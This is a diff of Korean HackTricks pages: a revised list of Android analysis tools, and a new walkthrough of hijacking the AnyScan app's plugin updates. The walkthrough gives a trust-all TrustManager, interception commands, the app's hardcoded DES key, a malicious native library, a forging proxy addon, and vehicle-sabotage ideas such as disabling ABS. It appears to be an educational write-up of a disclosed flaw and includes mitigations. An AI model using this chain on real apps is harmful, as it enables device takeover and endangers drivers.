**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** MobSF를 시작해야 합니다._\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 사용자가 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다.
- **HTTPS 트래픽 캡처**
- **Frida**를 사용하여 **런타임** **정보**를 얻기
Android **버전 > 5**에서는 **자동으로 Frida를 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 구성합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
Android **버전 > 5**에서는 **자동으로 Frida**를 시작하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
**Frida**
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 캡처하여 보고서에 **저장**할 수 있습니다.
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 수 있습니다).
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 확인할 수 있습니다).
![](<../../images/image (419).png>)
@ -562,7 +563,7 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
**Shell**
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
Mobsf는 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **쉘** **명령**을 포함한 쉘을 제공합니다. 몇 가지 흥미로운 명령:
```bash
help
shell ls
@ -579,7 +580,7 @@ HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아볼 수 있습니다.
> [!TIP]
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
>
> ```
> adb shell settings put global http_proxy :0
@ -592,13 +593,13 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
### [Yaazhini](https://www.vegabird.com/yaazhini/)
이것은 **GUI 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
이것은 **GUI를 사용한 정적 분석을 수행하기 위한 훌륭한 도구**입니다.
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다 (노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 취약점(노출된 활동, 인텐트, 탭재킹 등)을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다. Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -608,7 +609,7 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- 모든 추출된 파일을 쉽게 참조할 수 있도록 표시
- APK 파일을 Java 및 Smali 형식으로 자동으로 디컴파일
- APK 파일을 자동으로 Java 및 Smali 형식으로 디컴파일
- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석
- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석
- 장치 정보
@ -618,7 +619,7 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지하는 방식으로 이루어집니다.
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 생성할 수 있습니다.
@ -648,7 +649,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
**Androwarn**는 Android 애플리케이션이 개발한 잠재적인 악의적 행동을 감지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
감지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
@ -660,7 +661,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**는 **모바일 애플리케이션 역공학 및 분석 프레임워크**입니다. 이는 OWASP 모바일 보안 위협에 대해 모바일 애플리케이션을 테스트하는 데 도움을 주기 위해 일반적으로 사용되는 모바일 애플리케이션 역공학 및 분석 도구를 모은 도구입니다. 이 작업을 모바일 애플리케이션 개발자와 보안 전문가에게 더 쉽고 친숙하게 만드는 것이 목표입니다.
**MARA**는 **M**obile **A**pplication **R**everse engineering 및 **A**nalysis Framework입니다. 이는 OWASP 모바일 보안 위협에 대해 모바일 애플리케이션을 테스트하는 데 도움을 주기 위해 일반적으로 사용되는 모바일 애플리케이션 리버스 엔지니어링 및 분석 도구를 통합한 도구입니다. 이 작업을 모바일 애플리케이션 개발자와 보안 전문가에게 더 쉽고 친숙하게 만드는 것이 목표입니다.
다음과 같은 기능을 제공합니다:
@ -675,13 +676,13 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
## 코드 난독화/디오브스큐레이션
## 코드 오브스큐레이션/디오브스큐레이션
사용하는 서비스와 구성에 따라 코드 난독화에 따라 비밀이 난독화될 수도 있고 그렇지 않을 수도 있습니다.
코드를 오브스큐레이션하는 데 사용하는 서비스와 구성에 따라 비밀이 오브스큐레이션될 수도 있고 그렇지 않을 수도 있습니다.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공 라이선스 버전 2에 따라 배포됩니다.
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 오브스큐레이션하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공 라이선스 버전 2에 따라 배포됩니다.
ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다.
@ -693,15 +694,15 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
- 리소스를 InputStream으로 로드합니다;
- 결과를 FilterInputStream에서 상속받은 클래스에 제공하여 복호화합니다;
- 리버서의 시간을 낭비하기 위해 쓸모없는 난독화를 수행합니다;
- 리버서의 시간을 낭비하기 위해 쓸모없는 오브스큐레이션을 수행합니다;
- 복호화된 결과를 ZipInputStream에 제공하여 DEX 파일을 가져옵니다;
- 마지막으로 `loadDex` 메서드를 사용하여 결과 DEX를 리소스로 로드합니다.
### [DeGuard](http://apk-deguard.com)
**DeGuard는 Android 난독화 도구가 수행한 난독화 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
**DeGuard는 Android 오브스큐레이션 도구가 수행한 오브스큐레이션 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
오브스큐레이션된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
@ -709,21 +710,21 @@ ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리
### [Simplify](https://github.com/CalebFenton/simplify)
이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 난독화 유형은 중요하지 않습니다.
이는 **일반 Android 디오브스큐레이터**입니다. Simplify는 **앱을 가상 실행**하여 그 동작을 이해하고, **코드를 최적화**하여 동일하게 동작하지만 사람이 이해하기 쉽게 만듭니다. 각 최적화 유형은 간단하고 일반적이므로 사용된 특정 오브스큐레이션 유형은 중요하지 않습니다.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합니다. 많은 **컴파일러**, **패커**, **난독화 도구** 및 기타 이상한 것들을 식별합니다. Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다.
APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합니다. 많은 **컴파일러**, **패커**, **오브스큐레이터** 및 기타 이상한 것들을 식별합니다. Android용 [_PEiD_](https://www.aldeid.com/wiki/PEiD)입니다.
### Manual
[사용자 정의 난독화를 역전하는 방법에 대한 몇 가지 요령을 배우려면 이 튜토리얼을 읽으세요](manual-deobfuscation.md)
[사용자 정의 오브스큐레이션을 리버스하는 방법에 대한 몇 가지 요령을 배우려면 이 튜토리얼을 읽으세요](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 다양한 보안 전문가와 연구자들로부터 최신 프레임워크, 튜토리얼 및 실험실을 포함합니다.
AndroL4b는 Ubuntu-mate를 기반으로 한 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다.
## References

View File

@ -0,0 +1,124 @@
# Insecure In-App Update Mechanisms Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
많은 Android 애플리케이션이 Google Play 스토어 대신 **자체 “플러그인” 또는 “동적 기능” 업데이트 채널**을 구현합니다. 구현이 안전하지 않으면, 트래픽을 가로챌 수 있는 공격자가 **앱 프로세스 내에서 로드될 임의의 네이티브 코드를 제공할 수** 있으며, 이는 핸드셋에서 완전한 원격 코드 실행(RCE)으로 이어질 수 있습니다 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료 기기 등)에서도 가능합니다.
이 페이지는 Xtool **AnyScan** 자동차 진단 앱(v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 이 기술을 일반화하여 다른 Android 앱을 감사하고 레드팀 참여 중 잘못된 구성을 무기화할 수 있도록 합니다.
---
## 1. Insecure TLS TrustManager 식별하기
1. jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit 등)을 찾습니다.
2. 모든 인증서를 맹목적으로 신뢰하는 **커스텀 `TrustManager`** 또는 `HostnameVerifier`를 찾습니다:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
```
3. 존재하는 경우 애플리케이션은 **모든 TLS 인증서**를 수락합니다 → 자체 서명된 인증서로 투명한 **MITM 프록시**를 실행할 수 있습니다:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. 업데이트 메타데이터 리버스 엔지니어링
AnyScan 사례에서 각 앱 실행은 다음에 대한 HTTPS GET을 트리거합니다:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
응답 본문은 모든 사용 가능한 플러그인을 설명하는 **Base64로 인코딩되고, DES-ECB로 암호화된** JSON을 포함하는 `<FileData>` 노드를 가진 **XML 문서**입니다.
전형적인 헌팅 단계:
1. 암호화 루틴(예: `RemoteServiceProxy`)을 찾고 복구합니다:
* 알고리즘 (DES / AES / RC4 …)
* 작동 모드 (ECB / CBC / GCM …)
* 하드코딩된 키 / IV (종종 상수에서 56비트 DES 키 또는 128비트 AES 키)
2. 메타데이터를 복호화 / 암호화하기 위해 Python에서 함수를 재구현합니다:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. 악성 플러그인 만들기
1. 합법적인 플러그인 ZIP 파일을 선택하고 네이티브 라이브러리를 당신의 페이로드로 교체합니다:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
```
```bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. JSON 메타데이터를 업데이트하여 `"FileName" : "PWNED.zip"`로 설정하고 `"DownloadURL"`이 당신의 HTTP 서버를 가리키도록 합니다.
3. 수정된 JSON을 DES로 암호화한 후 Base64로 인코딩하고 가로챈 XML 안에 다시 복사합니다.
## 4. mitmproxy로 페이로드 전달
`addon.py` 예제는 원본 메타데이터를 *조용히* 교체합니다:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
```
악성 ZIP 파일을 호스팅하기 위해 간단한 웹 서버를 실행합니다:
```bash
python3 -m http.server 8000 --directory ./payloads
```
피해자가 앱을 실행하면 다음과 같은 작업을 수행합니다:
* MITM 채널을 통해 위조된 XML을 가져옵니다;
* 하드코딩된 DES 키로 이를 복호화하고 파싱합니다;
* `PWNED.zip`을 다운로드하여 개인 저장소에 압축 해제합니다;
* 포함된 *libscan_x64.so*를 `dlopen()`하여 앱의 권한(카메라, GPS, 블루투스, 파일 시스템 등)으로 즉시 코드를 실행합니다.
플러그인이 디스크에 캐시되기 때문에 백도어는 **재부팅 간에 지속**되며 사용자가 관련 기능을 선택할 때마다 실행됩니다.
## 5. 포스트 익스플로잇 아이디어
* 앱에 의해 저장된 세션 쿠키, OAuth 토큰 또는 JWT를 훔칩니다.
* 두 번째 단계 APK를 드롭하고 `pm install`을 통해 조용히 설치합니다(앱은 이미 `REQUEST_INSTALL_PACKAGES` 권한을 가지고 있습니다).
* 연결된 하드웨어를 악용합니다 AnyScan 시나리오에서는 임의의 **OBD-II / CAN 버스 명령**(문 잠금 해제, ABS 비활성화 등)을 보낼 수 있습니다.
---
### 탐지 및 완화 체크리스트 (블루 팀)
* 인증서 검증을 비활성화하는 사용자 정의 TrustManager/HostnameVerifier가 포함된 프로덕션 빌드를 절대 배포하지 마십시오.
* Google Play 외부에서 실행 가능한 코드를 다운로드하지 마십시오. *필요한 경우*, 각 플러그인을 동일한 **apkSigning v2** 키로 서명하고 로드하기 전에 서명을 확인하십시오.
* 약한/하드코딩된 암호를 **AES-GCM** 및 서버 측 회전 키로 교체하십시오.
* 다운로드한 아카이브의 무결성을 검증하십시오(서명 또는 최소한 SHA-256).
---
## 참조
- [NowSecure Xtool AnyScan 앱에서 발견된 원격 코드 실행](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android 안전하지 않은 TrustManager 패턴](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
{{#include ../../banners/hacktricks-training.md}}